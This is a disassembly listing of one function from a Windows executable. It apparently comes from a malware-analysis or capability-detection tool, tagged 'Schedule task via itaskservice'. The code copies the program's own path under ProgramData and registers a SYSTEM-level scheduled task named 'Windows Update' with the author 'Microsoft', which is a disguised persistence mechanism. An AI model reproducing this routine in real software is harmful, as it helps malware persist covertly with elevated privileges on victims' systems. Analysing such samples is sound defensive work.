Function at 0x401620
Capabilities:
Schedule task via itaskservice

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41a046
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x2c8
mov eax, dword [0x423024]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x100
lea eax, [ebp - 0x118]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.00401400
mov ecx, eax
test ecx, ecx
je 0x402184
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x224], eax
lea eax, [ebp - 0x118]
mov dword [ebp - 4], 0
test eax, 0xffff0000
jne 0x4016b9
movzx eax, ax
lea ecx, [ebp - 0x224]
push eax
call fcn.004028b0
jmp 0x4016de
lea ecx, [ebp - 0x118]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4016c2
sub ecx, edx
lea eax, [ebp - 0x118]
push ecx
push eax
lea ecx, [ebp - 0x224]
call fcn.00402a80
mov dword [ebp - 4], 1
mov esi, dword [ebp - 0x224]
push 0x5c
push esi
call fcn.0040687f
mov ecx, eax
add esp, 8
sub ecx, esi
or edi, 0xffffffff
test eax, eax
mov eax, dword [esi - 0xc]
cmove ecx, edi
sub eax, ecx
lea ecx, [ebp - 0x224]
dec eax
push eax
lea eax, [ebp - 0x258]
push eax
call fcn.00402770
mov byte [ebp - 4], 2
lea ecx, [esi - 0x10]
mov edx, dword [eax]
mov dword [ebp - 0x25c], edx
mov dword [ebp - 0x264], ecx
lea eax, [edx - 0x10]
cmp eax, ecx
je 0x4017ff
cmp dword [ecx + 0xc], 0
lea eax, [ecx + 0xc]
mov dword [ebp - 0x268], eax
jl 0x4017ea
mov eax, dword [edx - 0x10]
lea esi, [edx - 0x10]
mov dword [ebp - 0x260], eax
cmp eax, dword [ecx]
jne 0x4017ea
mov eax, dword [eax]
mov ecx, dword [ebp - 0x260]
mov eax, dword [eax + 0x10]
call eax
cmp dword [esi + 0xc], 0
mov ecx, eax
lea eax, [esi + 0xc]
jl 0x401783
cmp ecx, dword [esi]
jne 0x401783
lock inc dword [eax]
jmp 0x4017c0
mov eax, dword [ecx]
lea edx, [esi + 4]
push 1
push dword [edx]
mov dword [ebp - 0x260], edx
mov eax, dword [eax]
call eax
mov esi, eax
test esi, esi
je 0x40218e
mov ecx, dword [ebp - 0x260]
mov eax, dword [ecx]
mov dword [esi + 4], eax
mov edx, dword [ecx]
lea ecx, [esi + 0x10]
inc edx
push edx
push dword [ebp - 0x25c]
call fcn.00402bc0
add esp, 8
mov ecx, dword [ebp - 0x268]
mov eax, edi
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x4017df
mov edx, dword [ebp - 0x264]
push edx
mov ecx, dword [edx]
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0x10
mov dword [ebp - 0x224], esi
jmp 0x4017ff
push dword [edx - 0xc]
lea ecx, [ebp - 0x224]
push edx
call fcn.00402a80
mov esi, dword [ebp - 0x224]
mov byte [ebp - 4], 1
mov eax, edi
mov edx, dword [ebp - 0x258]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x401820
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0x104
lea eax, [ebp - 0x220]
push 0
push eax
call fcn.00404a80
add esp, 0xc
push str.ProgramData
call fcn.0040c9b7
add esp, 4
push eax
lea eax, [ebp - 0x220]
push 0x104
push eax
call fcn.00407f50
add esp, 0xc
lea eax, [ebp - 0x220]
push 0x420fa0
push 0x104
push eax
call fcn.00407f50
add esp, 0xc
lea eax, [ebp - 0x220]
push esi
push 0x104
push eax
call fcn.00407f50
add esp, 0xc
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jns 0x4018a7
push eax
push str._nCoInitializeEx_failed:__x
call fcn.00401080
add esp, 8
jmp 0x4020f0
push 0
push 0
push 0
push 3
push 6
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x230]
mov dword [ebp - 0x230], 0
push eax
push 0x41b2bc
push 1
push 0
push 0x41b2cc
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov edi, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [ebp - 0x298]
push eax
call edi
movups xmm0, xmmword [ebp - 0x298]
lea eax, [ebp - 0x2d8]
push eax
movups xmmword [ebp - 0x2a8], xmm0
call edi
movups xmm0, xmmword [ebp - 0x2d8]
lea eax, [ebp - 0x278]
push eax
movups xmmword [ebp - 0x2b8], xmm0
call edi
movups xmm0, xmmword [ebp - 0x278]
lea eax, [ebp - 0x288]
push eax
movups xmmword [ebp - 0x2c8], xmm0
call edi
mov byte [ebp - 4], 6
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x2a8]
mov ecx, dword [ebp - 0x230]
mov eax, esp
sub esp, 0x10
mov edx, dword [ecx]
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x2b8]
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x2c8]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x288]
push ecx
movups xmmword [eax], xmm0
call dword [edx + 0x28]
mov edi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x288]
push eax
call edi
lea eax, [ebp - 0x278]
push eax
call edi
lea eax, [ebp - 0x2d8]
push eax
call edi
lea eax, [ebp - 0x298]
mov byte [ebp - 4], 1
push eax
call edi
push 0xc
mov dword [ebp - 0x22c], 0
call fcn.00403378
add esp, 4
mov edi, eax
mov dword [ebp - 0x258], edi
mov byte [ebp - 4], 7
test edi, edi
je 0x401a09
xorps xmm0, xmm0
movq qword [edi], xmm0
mov dword [edi + 8], 0
push 0x420f5c
mov dword [edi + 4], 0
mov dword [edi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [edi], eax
test eax, eax
je 0x402193
jmp 0x401a0b
xor edi, edi
mov byte [ebp - 4], 1
mov dword [ebp - 0x258], edi
test edi, edi
je 0x402193
mov byte [ebp - 4], 8
lea edx, [ebp - 0x22c]
mov eax, dword [ebp - 0x230]
push edx
push dword [edi]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov byte [ebp - 4], 1
or eax, 0xffffffff
lock xadd dword [edi + 8], eax
dec eax
jne 0x401a7a
mov eax, dword [edi]
test eax, eax
je 0x401a58
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x401a6f
push eax
call fcn.0040318e
add esp, 4
mov dword [edi + 4], 0
push 0xc
push edi
call fcn.004035f9
add esp, 8
push str.Windows_Update
lea ecx, [ebp - 0x258]
call fcn.00401180
mov byte [ebp - 4], 9
mov edx, dword [eax]
test edx, edx
je 0x401a98
mov edx, dword [edx]
jmp 0x401a9a
xor edx, edx
mov eax, dword [ebp - 0x22c]
push 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
mov byte [ebp - 4], 1
mov edi, dword [ebp - 0x258]
test edi, edi
je 0x401afb
or eax, 0xffffffff
lock xadd dword [edi + 8], eax
dec eax
jne 0x401afb
test edi, edi
je 0x401afb
mov eax, dword [edi]
test eax, eax
je 0x401ad9
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x401af0
push eax
call fcn.0040318e
add esp, 4
mov dword [edi + 4], 0
push 0xc
push edi
call fcn.004035f9
add esp, 8
mov eax, dword [ebp - 0x230]
lea edx, [ebp - 0x228]
push edx
mov dword [ebp - 0x228], 0
push 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
mov eax, dword [ebp - 0x230]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x228]
lea edx, [ebp - 0x244]
mov dword [ebp - 0x244], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
push 0xc
call fcn.00403378
mov edi, eax
add esp, 4
mov dword [ebp - 0x258], edi
mov byte [ebp - 4], 0xa
test edi, edi
je 0x401b90
xorps xmm0, xmm0
movq qword [edi], xmm0
mov dword [edi + 8], 0
push str.Microsoft
mov dword [edi + 4], 0
mov dword [edi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [edi], eax
test eax, eax
je 0x40219d
jmp 0x401b92
xor edi, edi
mov byte [ebp - 4], 1
mov dword [ebp - 0x258], edi
test edi, edi
je 0x402193
mov byte [ebp - 4], 0xb
mov eax, dword [ebp - 0x244]
push dword [edi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov byte [ebp - 4], 1
or eax, 0xffffffff
lock xadd dword [edi + 8], eax
dec eax
jne 0x401bfa
mov eax, dword [edi]
test eax, eax
je 0x401bd8
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x401bef
push eax
call fcn.0040318e
add esp, 4
mov dword [edi + 4], 0
push 0xc
push edi
call fcn.004035f9
add esp, 8
mov eax, dword [ebp - 0x228]
lea edx, [ebp - 0x238]
mov dword [ebp - 0x238], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x238]
push 0xffffffffffffffff
push eax
mov ecx, dword [eax]
call dword [ecx + 0x58]
mov eax, dword [ebp - 0x238]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x228]
lea edx, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov eax, dword [ebp - 0x23c]
lea edx, [ebp - 0x240]
push edx
mov dword [ebp - 0x240], 0
push 9
mov ecx, dword [eax]
push eax
call dword [ecx + 0x28]
mov eax, dword [ebp - 0x23c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x240]
lea edx, [ebp - 0x248]
push edx
mov dword [ebp - 0x248], 0
push 0x41b2dc
mov ecx, dword [eax]
push eax
call dword [ecx]
mov eax, dword [ebp - 0x240]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push 0xc
call fcn.00403378
mov edi, eax
add esp, 4
mov dword [ebp - 0x258], edi
mov byte [ebp - 4], 0xc
test edi, edi
je 0x401cf3
xorps xmm0, xmm0
movq qword [edi], xmm0
mov dword [edi + 8], 0
push str.Trigger1
mov dword [edi + 4], 0
mov dword [edi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [edi], eax
test eax, eax
je 0x4021a7
jmp 0x401cf5
xor edi, edi
mov byte [ebp - 4], 1
mov dword [ebp - 0x258], edi
test edi, edi
je 0x402193
mov byte [ebp - 4], 0xd
mov eax, dword [ebp - 0x248]
push dword [edi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov byte [ebp - 4], 1
or eax, 0xffffffff
lock xadd dword [edi + 8], eax
dec eax
jne 0x401d5d
mov eax, dword [edi]
test eax, eax
je 0x401d3b
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [edi], 0
mov eax, dword [edi + 4]
test eax, eax
je 0x401d52
push eax
call fcn.0040318e
add esp, 4
mov dword [edi + 4], 0
push 0xc
push edi
call fcn.004035f9
add esp, 8
mov eax, dword [ebp - 0x228]
lea edx, [ebp - 0x24c]
mov dword [ebp - 0x24c], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x24c]
lea edx, [ebp - 0x250]
push edx
mov dword [ebp - 0x250], 0
push 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x30]
mov eax, dword [ebp - 0x250]
lea edx, [ebp - 0x234]
push edx
mov dword [ebp - 0x234], 0
push str.MbLk
mov ecx, dword [eax]
push eax
call dword [ecx]
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x258]
call fcn.004010e0
mov byte [ebp - 4], 0xe
mov edx, dword [eax]
test edx, edx
je 0x401dda
mov edx, dword [edx]
jmp 0x401ddc
xor edx, edx
mov eax, dword [ebp - 0x234]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov byte [ebp - 4], 1
or edi, 0xffffffff
mov ecx, dword [ebp - 0x258]
mov dword [ebp - 0x25c], ecx
test ecx, ecx
je 0x401e4f
mov eax, edi
lock xadd dword [ecx + 8], eax
dec eax
jne 0x401e4f
test ecx, ecx
je 0x401e4f
mov eax, dword [ecx]
test eax, eax
je 0x401e27
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov ecx, dword [ebp - 0x25c]
mov dword [ecx], 0
mov eax, dword [ecx + 4]
test eax, eax
je 0x401e44
push eax
call fcn.0040318e
mov ecx, dword [ebp - 0x25c]
add esp, 4
mov dword [ecx + 4], 0
push 0xc
push ecx
call fcn.004035f9
add esp, 8
push str.ProgramData
call fcn.0040c9b7
add esp, 4
lea ecx, [ebp - 0x258]
push eax
call fcn.004010e0
mov byte [ebp - 4], 0xf
mov edx, dword [eax]
test edx, edx
je 0x401e76
mov edx, dword [edx]
jmp 0x401e78
xor edx, edx
mov eax, dword [ebp - 0x234]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
mov dword [ebp - 0x264], eax
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x258]
mov dword [ebp - 0x25c], eax
test eax, eax
je 0x401eee
mov ecx, edi
lock xadd dword [eax + 8], ecx
dec ecx
jne 0x401eee
test eax, eax
je 0x401eee
mov ecx, dword [eax]
test ecx, ecx
je 0x401ec6
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebp - 0x25c]
mov dword [eax], 0
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x401ee3
push ecx
call fcn.0040318e
mov eax, dword [ebp - 0x25c]
add esp, 4
mov dword [eax + 4], 0
push 0xc
push eax
call fcn.004035f9
add esp, 8
mov eax, dword [ebp - 0x234]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x264]
test eax, eax
jns 0x401f0f
push eax
push 0x421008
jmp 0x4020ca
mov eax, 8
mov dword [ebp - 0x254], 0
push 0x421024
mov word [ebp - 0x288], ax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x280], eax
test eax, eax
je 0x402193
movups xmm0, xmmword [ebp - 0x288]
lea eax, [ebp - 0x298]
push eax
movups xmmword [ebp - 0x2c8], xmm0
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov byte [ebp - 4], 0x11
mov eax, 8
movups xmm0, xmmword [ebp - 0x298]
push str.SYSTEM
mov word [ebp - 0x278], ax
movups xmmword [ebp - 0x2b8], xmm0
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x270], eax
test eax, eax
je 0x402193
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x260]
movups xmm0, xmmword [ebp - 0x278]
push str.Windows_Update
movups xmmword [ebp - 0x2a8], xmm0
call fcn.00401180
mov byte [ebp - 4], 0x13
mov eax, dword [eax]
test eax, eax
je 0x401fc6
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
jmp 0x401fd0
mov dword [ebp - 0x25c], 0
movups xmm0, xmmword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x22c]
lea eax, [ebp - 0x254]
push eax
sub esp, 0x10
mov eax, esp
mov edx, dword [ecx]
push 4
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x2b8]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x2a8]
push 6
push dword [ebp - 0x228]
movups xmmword [eax], xmm0
push dword [ebp - 0x25c]
push ecx
call dword [edx + 0x44]
mov dword [ebp - 0x258], eax
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0x25c], eax
test eax, eax
je 0x40208f
mov ecx, edi
lock xadd dword [eax + 8], ecx
dec ecx
jne 0x402085
test eax, eax
je 0x402085
mov ecx, dword [eax]
test ecx, ecx
je 0x40205d
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebp - 0x25c]
mov dword [eax], 0
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x40207a
push ecx
call fcn.0040318e
mov eax, dword [ebp - 0x25c]
add esp, 4
mov dword [eax + 4], 0
push 0xc
push eax
call fcn.004035f9
add esp, 8
mov dword [ebp - 0x260], 0
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x298]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x288]
mov byte [ebp - 4], 1
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [ebp - 0x258]
test eax, eax
jns 0x402113
push eax
push 0x421038
call fcn.00401080
mov eax, dword [ebp - 0x22c]
add esp, 8
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x228]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [ebp - 4], 0xffffffff
add esi, 0xfffffff0
lock xadd dword [esi + 0xc], edi
dec edi
test edi, edi
jg 0x40210c
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, 1
jmp 0x402166
push str.Success
call fcn.00401080
mov eax, dword [ebp - 0x22c]
add esp, 4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x228]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x254]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [ebp - 4], 0xffffffff
add esi, 0xfffffff0
lock xadd dword [esi + 0xc], edi
dec edi
test edi, edi
jg 0x402166
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040317d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0x80004005
call fcn.004012d0
call fcn.00402bb0
push 0x8007000e
call fcn.00402d70
push 0x8007000e
call fcn.00402d70
push 0x8007000e
call fcn.00402d70
int3